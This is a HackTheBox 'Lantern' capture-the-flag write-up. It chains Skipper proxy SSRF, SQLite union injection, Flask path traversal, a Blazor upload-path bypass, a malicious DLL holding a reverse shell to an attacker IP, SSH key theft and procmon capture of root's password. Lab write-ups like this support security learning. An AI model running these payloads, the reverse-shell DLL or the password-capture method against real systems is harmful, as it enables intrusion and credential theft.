Post

HackTheBox Lantern

Writeup for HackTheBox Lantern

HackTheBox Lantern

Machine Synopsis

Key Exploitation Techniques

  • Server-Side Request Forgery (SSRF) via Skipper Proxy vulnerability
  • Blazor application security bypass through client-side JavaScript modification
  • Arbitrary file read via path traversal in Flask application
  • DLL injection in .NET Blazor components for Remote Code Execution
  • Process monitoring and keystroke capture using procmon with elevated privileges

Enumeration

Port Scanning

1
2
3
4
5
➜  Lantern sudo nmap -p- --min-rate 1000 10.10.11.29
PORT     STATE SERVICE
22/tcp   open  ssh
80/tcp   open  http
3000/tcp open  ppp

Service Enumeration

1
2
3
4
5
6
7
8
9
10
11
12
13
➜  Lantern sudo nmap -sV -sC -n -Pn -p22,80,3000 10.10.11.29
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 80:c9:47:d5:89:f8:50:83:02:5e:fe:53:30:ac:2d:0e (ECDSA)
|_  256 d4:22:cf:fe:b1:00:cb:eb:6d:dc:b2:b4:64:6b:9d:89 (ED25519)
80/tcp   open  http    Golang net/http server
|_http-title: Did not follow redirect to http://lantern.htb/
...
3000/tcp open  http    Microsoft Kestrel httpd
|_http-title: Site doesn't have a title (text/html; charset=utf-8).
|_http-trane-info: Problem with XML parsing of /evox/about
|_http-server-header: Kestrel

Web Application Discovery

After adding lantern.htb to /etc/hosts, directory enumeration revealed:

Port 80 (Main Site):

  • / - Landing page for IT services company

    webpage

  • /vacancies - Job postings with resume upload functionality

    vacancies_webpage

Port 3000 (Internal Application):

  • /login - Authentication portal

    lantern_admin_login_webpage

Initial Access

SSRF Exploitation via Skipper Proxy

Research revealed Skipper Proxy is vulnerable to Server-Side Request Forgery (CVE-2021-36220). The vulnerability allows arbitrary internal service access via the X-Skipper-Proxy header:

1
2
3
GET / HTTP/1.1
Host: lantern.htb
X-Skipper-Proxy: http://127.0.0.1:3000
1
2
3
4
5
6
7
8
9
10
11
HTTP/1.1 200 OK
<head>
...
<!--Blazor:{"sequence":1,"type":"server","prerenderId":"6549004861474a8285be468e52840aaf","descriptor":"CfDJ8ANjHdjvMd9BlPx4DkdnUo0JU9IPRsSJqnZ4KjG9H8HfagjcMYEP81AJqLMKx0kxBmo2lI7xk5Ag\u002B\u002BZOjKLqWJAjLf5vNOtGnLDQbXpWIJ/YF2PrG9P31ZC92ZHC\u002BlkH1bDvs84gXSKU2uCLPLKtRZMWGwx9IXGsNLGHrSWVxwPVTF33LkWleY0xvmDDhDEZWuvrAw6A0Relkb2Dyo37hazLbgWOc46L0hGmt6ThRDbi/l8AghvjsmtWWYiKpYD/3Sg\u002BIeY\u002BeuqTUeb5OWcE2JCZXxILaAplUoghOH2CX4HhjrL40FPvk5HMo\u002B2GNDDTboWfQKkjWrKIIpFKJAnY1B5KULPPGZjyiYHJDwEdja/PdsidHj4jpzypdbQayFr6qF2v2unIF/ymo\u002B7b8EyKPBnZCGXBCAIZmErklKSdpMid"}--><!--Blazor:{"prerenderId":"6549004861474a8285be468e52840aaf"}-->
</head>
<body>
    <!--Blazor:{"sequence":0,"type":"server","descriptor":"CfDJ8ANjHdjvMd9BlPx4DkdnUo01L1F0rAKOqGqJvYfQkm2zgGMZ3zfOxsCQIMN9qwyGRc/btYiDPoK0Ry7xg0MFAjrwaWJMaiaHJzZJcfYPocw\u002Be3QoUN3vMxR8IrzrLwNUg5ZuUkhk7v3cdJDDYx5hKOyu4gYwEb0XB8s130jhzfkNoHCItpf\u002BxomAvPyhgJbDOQPA8oEIYrBX5keGeBa2\u002Bsw9lMdZz6qXSoOdLN22ygrOe8F/05IpEx90qhZ4JDCzZObhK\u002BiUZCFX/1iJZBeegSbvKMyx56X5VZPrFrCpOeUtESPMwfJBM0xyow1vi7ueVwg06UwWbt630WTrqFFmKUvek1X67\u002BllkwUBOqSd6l/w"}-->
    <div id="blazor-error-ui">
            An unhandled exception has occurred. See browser dev tools for details.
...
</body>

Internal Service Discovery

Using the SSRF to enumerate internal services:

1
2
3
4
5
➜  Lantern wfuzz -c --sc=200 -u http://lantern.htb -H "X-Skipper-Proxy: http://127.0.0.1:FUZZ" -z range,1-65535
000000080:   200        224 L    836 W      12049 Ch    "80"                              
000003000:   200        57 L     117 W      2854 Ch     "3000"                            
000005000:   200        49 L     123 W      1669 Ch     "5000"                            
000008000:   200        224 L    836 W      12049 Ch    "8000"    
Getting Admin Password

Download header editor to add the header (x-skipper-proxy: http://127.0.0.1:5000) to each request.

header_editor

Navigating to http://lantern.htb with the header editor reveals a internal lantern dashboard

internal_lantern_dashboard

It looks like a HR app. The “Add Employee” form works. The add employee form seems robust against SQL injection, as each of the fields just show strings with single and double quotes in them.

The “Book Vacation” tab has a form for that on entering an ID and clicking “Search”, it returns if that’s valid. However, the search in the vacation form seems vulnerable to SQLi.

book_vacation_sqli

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
payload: ' union select 1,2,3-- -
returns Name: 2, Second Name: 3

payload 'union select 1,sqlite_version(),3-- -
returns Name: 3.37.2, Second Name: 3

payload 'union select 1,count(sql),3 from sqlite_schema-- -
returns Name: 2, Second Name: 3

payload 'union select 1,group_concat(sql),3 from sqlite_schema-- -
returns Name: CREATE TABLE "Employees" ( "Id" INTEGER NOT NULL CONSTRAINT "PK_Employees" PRIMARY KEY AUTOINCREMENT, "Uid" TEXT NULL, "Name" TEXT NULL, "SecondName" TEXT NULL, "BirthDay" TEXT NULL, "JoinDate" TEXT NULL, "Salary" INTEGER NOT NULL, "VacationsStart" TEXT NULL, "VacationsEnd" TEXT NULL, "InternalInfo" TEXT NULL ),CREATE TABLE sqlite_sequence(name,seq), Second Name: 3

payload 'union select 1,group_concat(id),3 from Employees-- -
returns Name: 1,2,3,4,5,6,7, Second Name: 3

payload 'union select 1,group_concat(internalinfo),3 from Employees-- -
returns Name: Head of sales department, emergency contact: +4412345678, email: john.s@example.com,HR, emergency contact: +4412345678, email: anny.t@example.com,FullStack developer, emergency contact: +4412345678, email: catherine.r@example.com,PR, emergency contact: +4412345678, email: lara.s@example.com,Junior .NET developer, emergency contact: +4412345678, email: lila.s@example.com,System administrator, First day: 21/1/2024, Initial credentials admin:AJbFA_Q@925p9ap#22. Ask to change after first login!,<scri
Alternative way to get admin password
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
➜  Lantern curl -H "X-Skipper-Proxy: http://127.0.0.1:5000" http://lantern.htb
<!DOCTYPE html>
<html>

<head>
    <meta charset="utf-8" />
    <meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=1.0, user-scalable=no" />
    <title>InternaLantern</title>
    <base />
    <script type="text/javascript">
        (function (l) {
            if (l.search[1] === '/') {
                var decoded = l.search.slice(1).split('&').map(function (s) {
                    return s.replace(/~and~/g, '&')
                }).join('?');
                window.history.replaceState(null, null,
                    l.pathname.slice(0, -1) + decoded + l.hash
                );
            }
        }(window.location))
    </script>
    <script>
        var path = window.location.pathname.split('/');
        var base = document.getElementsByTagName('base')[0];
        if (window.location.host.includes('localhost')) {
            base.setAttribute('href', '/');
        } else if (path.length > 2) {
            base.setAttribute('href', '/' + path[1] + '/');
        } else if (path[path.length - 1].length != 0) {
            window.location.replace(window.location.origin + window.location.pathname + '/' + window.location.search);
        }
    </script>
    <link href="css/bootstrap/bootstrap.min.css" rel="stylesheet" />
    <link href="css/app.css" rel="stylesheet" />

</head>

<body>
    <div id="app">Loading...</div>

    <div id="blazor-error-ui">
        An unhandled error has occurred.
        <a href="" class="reload">Reload</a>
        <a class="dismiss">🗙</a>
    </div>

    <script src="_framework/blazor.webassembly.js"></script>
</body>

</html>
1
➜  Lantern wget --header="X-Skipper-Proxy: http://127.0.0.1:5000" http://lantern.htb/_framework/blazor.webassembly.js

Within the js file, we find another local js file referenced. Lets download that file.

1
2
3
4
5
6
➜  Lantern wget --header="X-Skipper-Proxy: http://127.0.0.1:5000" http://lantern.htb/_framework/blazor.boot.json

➜  Lantern cat blazor.boot.json
...
"InternaLantern.dll": "sha256-pblWkC\/PhCCSxn1VOi3fajA0xS3mX\/\/RC0XvAE\/n5cI="
...
1
➜  Lantern wget --header="X-Skipper-Proxy: http://127.0.0.1:5000" http://lantern.htb/_framework/InternaLantern.dll
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
➜  Lantern wget https://github.com/mandiant/flare-floss/releases/download/v3.1.1/floss-v3.1.1-linux.zip
➜  Lantern unzip floss-v3.1.1-linux.zip 
➜  Lantern ./floss InternaLantern.dll 
WARNING: floss: .NET language-specific string extraction is not supported yet
WARNING: floss: FLOSS does NOT attempt to deobfuscate any strings from .NET binaries
Do you want to enable string deobfuscation? (this could take a long time) [y/N] 
INFO: floss: disabled string deobfuscation
INFO: floss: extracting static strings
INFO: floss: finished execution after 14.02 seconds
INFO: floss: rendering results
...
./dbstorage.js
synchronizeFileWithIndexedDb
Data.db
JFMDK
John
Smith
SGVhZCBvZiBzYWxlcyBkZXBhcnRtZW50LCBlbWVyZ2VuY3kgY29udGFjdDogKzQ0MTIzNDU2NzgsIGVtYWlsOiBqb2huLnNAZXhhbXBsZS5jb20=
PPAOS
Anny
Turner
SFIsIGVtZXJnZW5jeSBjb250YWN0OiArNDQxMjM0NTY3OCwgZW1haWw6IGFubnkudEBleGFtcGxlLmNvbQ==
UAYWP
Catherine
Rivas
RnVsbFN0YWNrIGRldmVsb3BlciwgZW1lcmdlbmN5IGNvbnRhY3Q6ICs0NDEyMzQ1Njc4LCBlbWFpbDogY2F0aGVyaW5lLnJAZXhhbXBsZS5jb20=
GMNZQ
Lara
Snyder
UFIsIGVtZXJnZW5jeSBjb250YWN0OiArNDQxMjM0NTY3OCwgZW1haWw6IGxhcmEuc0BleGFtcGxlLmNvbQ==
XZCSF
Lila
Steele
SnVuaW9yIC5ORVQgZGV2ZWxvcGVyLCBlbWVyZ2VuY3kgY29udGFjdDogKzQ0MTIzNDU2NzgsIGVtYWlsOiBsaWxhLnNAZXhhbXBsZS5jb20=
POMBS
Travis
Duarte
U3lzdGVtIGFkbWluaXN0cmF0b3IsIEZpcnN0IGRheTogMjEvMS8yMDI0LCBJbml0aWFsIGNyZWRlbnRpYWxzIGFkbWluOkFKYkZBX1FAOTI1cDlhcCMyMi4gQXNrIHRvIGNoYW5nZSBhZnRlciBmaXJzdCBsb2dpbiE=
SELECT Id, Name, SecondName FROM employees WHERE Uid = '
Name: 
, Second Name: 
Employee not found!
...
1
2
➜  Lantern echo 'U3lzdGVtIGFkbWluaXN0cmF0b3IsIEZpcnN0IGRheTogMjEvMS8yMDI0LCBJbml0aWFsIGNyZWRlbnRpYWxzIGFkbWluOkFKYkZBX1FAOTI1cDlhcCMyMi4gQXNrIHRvIGNoYW5nZSBhZnRlciBmaXJzdCBsb2dpbiE=' | base64 -d
System administrator, First day: 21/1/2024, Initial credentials admin:AJbFA_Q@925p9ap#22. Ask to change after first login!%  

Blazor Admin Dashboard Access

The extracted credentials provided access to the Blazor admin dashboard on port 3000, revealing several administrative functions:

admin_dashboard

  • Files: Source code browser for the main application
  • Upload Content: File upload to /var/www/sites/lantern.htb/static/images
  • Health Check: SSRF-capable service checker
  • Logs: Application access logs
  • Choose Module: DLL loader from /opt/components/

Foothold Development

Source Code Analysis

Through the Files section, I discovered the main application’s Flask source code (app.py), revealing a critical path traversal vulnerability:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
from flask import Flask, render_template, send_file, request, redirect, json
from werkzeug.utils import secure_filename
import os

app=Flask("__name__")

...

@app.route('/PrivacyAndPolicy')
def sendPolicyAgreement():
    lang = request.args.get('lang')
    file_ext = request.args.get('ext')
    try:
        return send_file(f'/var/www/sites/localisation/{lang}.{file_ext}') 
    except: 
        return send_file(f'/var/www/sites/localisation/default/policy.pdf', 'application/pdf')

Arbitrary File Read Exploitation

1
2
3
4
5
6
7
8
9
10
11
12
13
14
# Reading system files via path traversal
➜  Lantern curl 'http://lantern.htb/PrivacyAndPolicy?lang=&ext=./../../../../etc/passwd'
...
root:x:0:0:root:/root:/bin/bash
tomas:x:1000:1000:tomas:/home/tomas:/bin/bash

# recall that the modules are loaded in /opt/components/

# Extracting DLL modules for reverse engineering
➜  Lantern curl 'http://lantern.htb/PrivacyAndPolicy?lang=&ext=./../../../../opt/components/FileUpload.dll' -o FileUpload.dll
➜  Lantern curl 'http://lantern.htb/PrivacyAndPolicy?lang=&ext=./../../../../opt/components/FileTree.dll' -o FileTree.dll
➜  Lantern curl 'http://lantern.htb/PrivacyAndPolicy?lang=&ext=./../../../../opt/components/Logs.dll' -o Logs.dll
➜  Lantern curl 'http://lantern.htb/PrivacyAndPolicy?lang=&ext=./../../../../opt/components/HealthCheck.dll' -o HealthCheck.dll
➜  Lantern curl 'http://lantern.htb/PrivacyAndPolicy?lang=&ext=./../../../../opt/components/Resumes.dll' -o Resumes.dll

Achieving Remote Code Execution

The exploitation chain required three components:

  1. Arbitrary File Write: Upload functionality to /var/www/sites/lantern.htb/static/images
  2. Path Traversal: Bypass upload directory restrictions via JavaScript modification
  3. DLL Execution: Module loader functionality in the admin dashboard

Blazor Client-Side Bypass

I modified the client-side Blazor JavaScript (blazor.server.js) using Firefox’s Script Override feature to perform path traversal during file uploads:

1
2
3
4
5
6
7
8
9
10
11
// Modified portion of blazor.server.js
const n = {
    id: ++t._blazorInputFileNextFileId,
    lastModified: new Date(e.lastModified).toISOString(),
    name: "../../../../../../opt/components/" + e.name, // Path traversal injection
    size: e.size,
    contentType: e.type,
    readPromise: void 0,
    arrayBuffer: void 0,
    blob: e
};

Malicious DLL Development

Using Visual Studio Code with C# extensions, I developed a malicious Blazor component DLL:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
using Microsoft.AspNetCore.Components;
using Microsoft.AspNetCore.Components.Rendering;
using System.Net.Sockets;
using System.Text;

namespace MyHealthCheck
{
    public class Component : ComponentBase
    {
        protected override void BuildRenderTree(RenderTreeBuilder __builder)
        {
            __builder.OpenElement(0, "div");
            __builder.OpenElement(1, "input");
            __builder.AddAttribute(2, "type", "text");
            __builder.AddAttribute(3, "placeholder", "Attacker IP");
            __builder.CloseElement();
            
            __builder.OpenElement(4, "button");
            __builder.AddAttribute(5, "onclick", EventCallback.Factory.Create(this, () => HandleClick("10.10.14.1")));
            __builder.AddContent(6, "CONNECT");
            __builder.CloseElement();
            __builder.CloseElement();
        }

        private void HandleClick(string ip) {
            // TCP reverse shell implementation
            TcpClient client = new TcpClient(ip, 4444);
            NetworkStream stream = client.GetStream();
            // ... reverse shell code
        }
    }
}

Exploitation Execution

  1. Setup Listener: nc -lvnp 4444
  2. Upload Malicious DLL: Via modified Upload Content with path traversal
  3. Load Module: Using Choose Module widget to execute the DLL
  4. Trigger Payload: Click the CONNECT button in the loaded component

Result: Reverse shell as user tomas

User Flag

The reverse shell connected directly as the tomas user, allowing immediate access to the user flag:

1
cat /home/tomas/user.txt

Privilege Escalation

SSH Key Extraction

1
2
3
4
5
6
# Extract existing SSH private key
cat /home/tomas/.ssh/id_rsa

# Setup SSH access from attacker machine
chmod 600 ./id_rsa
ssh -i ./id_rsa tomas@$RADDR

System Mail Analysis

Upon SSH connection, the system indicated new mail. Reading /var/mail/tomas revealed:

1
2
3
4
5
6
Hi Tomas,

Our admin is currently automating processes on the server. Before global testing, 
could you check out his work in /root/automation.sh? Your insights will be valuable.

Best.

Sudo Privileges Investigation

1
2
sudo -l
# Output: (ALL : ALL) NOPASSWD: /usr/bin/procmon

The tomas user had sudo access to /usr/bin/procmon, a process monitoring tool capable of capturing system calls with strace-like functionality.

Process Monitoring Strategy

Identifying the target process for monitoring:

1
2
ps aux | grep root
# Found: root 6992 /bin/bash /root/automation.sh

Keystroke Capture via procmon

1
2
# Monitor the automation script process
sudo /usr/bin/procmon -p 6992

After collecting process data and exporting to SQLite format, I analyzed the write system calls to reconstruct keystrokes:

1
2
3
4
5
6
7
8
9
10
11
SELECT 
    resultcode, 
    syscall, 
    arguments, 
    substr(rtrim(substr(arguments,9,2), '['), -1, 1) as character 
FROM ebpf 
WHERE 
    syscall LIKE "write" AND 
    resultcode > 0 AND 
    resultcode < 3 
ORDER BY timestamp ASC

Reconstructed Command:

1
echo Q3Eddtdw3pMB | sudo ./backup.sh

The captured keystrokes revealed the root password: Q3Eddtdw3pMB

Root Flag

1
2
su root  # Password: Q3Eddtdw3pMB
cat /root/root.txt
This post is licensed under CC BY 4.0 by the author.